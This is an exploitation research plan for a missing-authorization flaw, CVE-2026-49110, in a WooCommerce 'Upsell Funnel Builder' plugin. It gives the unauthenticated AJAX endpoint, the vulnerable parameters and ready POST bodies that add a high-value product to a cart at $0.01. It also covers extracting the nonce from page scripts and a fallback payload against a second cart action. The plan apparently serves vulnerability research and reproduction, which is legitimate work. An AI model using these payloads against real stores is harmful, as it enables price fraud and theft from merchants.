Exploitation Research Plan - CVE-2026-49110

1. Vulnerability Summary

Vulnerability Name: Unauthenticated Price Manipulation / Unauthorized Cart Action
CVE ID: CVE-2026-49110
Affected Plugin: Upsell Funnel Builder for WooCommerce (slug: upsell-order-bump-offer-for-woocommerce)
Affected Versions: <= 3.1.4
Vulnerability Type: Missing Authorization
Description: The plugin registers several AJAX actions that lack proper capability checks and nonce verification. Specifically, the "Frequently Bought Together" (FBT) functionality allows unauthenticated users to trigger the add_to_cart_fbt_product action. Because the server trusts client-provided price parameters (e.g., wps_discount_price) without verifying them against the database or requiring administrative privileges, an attacker can add products to their cart at arbitrary prices.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: add_to_cart_fbt_product (and potentially add_cart_discount_offer_in_cart)
• Method: POST
• Authentication: Unauthenticated (nopriv AJAX hook)
• Vulnerable Parameters:
  • wps_product_id: Array of product IDs to add to cart.
  • wps_discount_price: The arbitrary price value to be applied to the products.
  • wps_main_prod_id: The ID of the trigger product.

3. Code Flow

1. Registration: The plugin initializes Upsell_Order_Bump_Offer_For_Woocommerce_Public.
2. Hooking: Inside the public class, the action wp_ajax_nopriv_add_to_cart_fbt_product is hooked to a handler function (e.g., wps_ubo_add_to_cart_fbt_product).
3. JS Invocation: In public/js/wps_ubo_lite_fbt.js, the AJAX request is defined. Note that at line 17, the nonce is explicitly commented out: // nonce: wps_ubo_lite_public_fbt.auth_nonce.
4. Processing: The PHP handler (located in public/class-upsell-order-bump-offer-for-woocommerce-public.php) receives the POST data.
5. Sink: The handler likely calls WC()->cart->add_to_cart() or a similar function, passing the wps_discount_price directly into the cart item data without validating if the current user is authorized to receive that specific discount or if the discount value is legitimate.

4. Nonce Acquisition Strategy

Based on public/js/wps_ubo_lite_fbt.js, the nonce check for the FBT action appears to be entirely disabled or missing in version 3.1.4.

If a nonce is required by the server-side handler despite being commented out in the JS:

1. Shortcode Identification: Identify a page containing the FBT offer. The plugin uses the shortcode [wps_bump_offer_shortcode] or displays offers automatically on product pages.
2. Page Creation: Create a test environment page: wp post create --post_type=page --post_status=publish --post_content='[wps_bump_offer_shortcode]'
3. Extraction:
   • Navigate to the page.
   • Use browser_eval to check the localization object: window.wps_ubo_lite_public_fbt?.auth_nonce.
   • The localized variable is registered in public/class-upsell-order-bump-offer-for-woocommerce-public.php via wp_localize_script.

5. Exploitation Strategy

The goal is to add a high-value product to the cart for a nominal price (e.g., $0.01).

Step-by-Step Methodology:

1. Discovery: Identify a valid product ID (wps_product_id).
2. Request Formulation: Send a POST request to the AJAX endpoint.
   • URL: http://example.com/wp-admin/admin-ajax.php
   • Content-Type: application/x-www-form-urlencoded
   • Body:

     action=add_to_cart_fbt_product&wps_product_id[]=ID_OF_EXPENSIVE_PRODUCT&wps_discount_price=0.01&wps_main_prod_id=ID_OF_ANY_PRODUCT
     

3. Verification: Observe the response. A success response ({"success": true} or similar) suggests the product was added.

6. Test Data Setup

1. WooCommerce Installation: Ensure WooCommerce is active.
2. Product Creation:

   wp post create --post_type=product --post_title="Expensive Item" --post_status=publish
   wp post create --post_type=product --post_title="Trigger Item" --post_status=publish
   # Note the IDs of both products
   

3. Plugin Config: Ensure "Frequently Bought Together" is enabled in the plugin settings.

7. Expected Results

• HTTP Response: A JSON object indicating success.
• Cart State: The cart should now contain the "Expensive Item" with a unit price of $0.01.
• Access Control Bypass: The operation succeeds without any session cookies or Authorization headers.

8. Verification Steps

1. Check Cart via Browser: Navigate to example.com/cart and verify the product price.
2. Check Cart via CLI:
   Since cart data is session-based, browser verification is preferred. However, one can check the WooCommerce logs or the wp_woocommerce_sessions table in the database if the session ID is known.

   wp db query "SELECT * FROM wp_woocommerce_sessions WHERE session_key = 'YOUR_SESSION_ID'"
   

9. Alternative Approaches

If add_to_cart_fbt_product is patched or restricted:

• Investigate add_cart_discount_offer_in_cart: This action (seen in public/js/wps_ubo_lite_public_cart_script.js) also takes a price parameter wps_cart_offer_product_price.
• Payload:

  action=add_cart_discount_offer_in_cart&parent_product_id=ID&wps_cart_offer_product_id_value=ID&wps_cart_offer_product_price=0.01&wps_cart_offer_quantity_value=1
  

• Nonce Requirement: This action uses wps_ubo_lite_public_cart.auth_nonce. If this is required, extract it from the cart page source using browser_eval("wps_ubo_lite_public_cart.auth_nonce").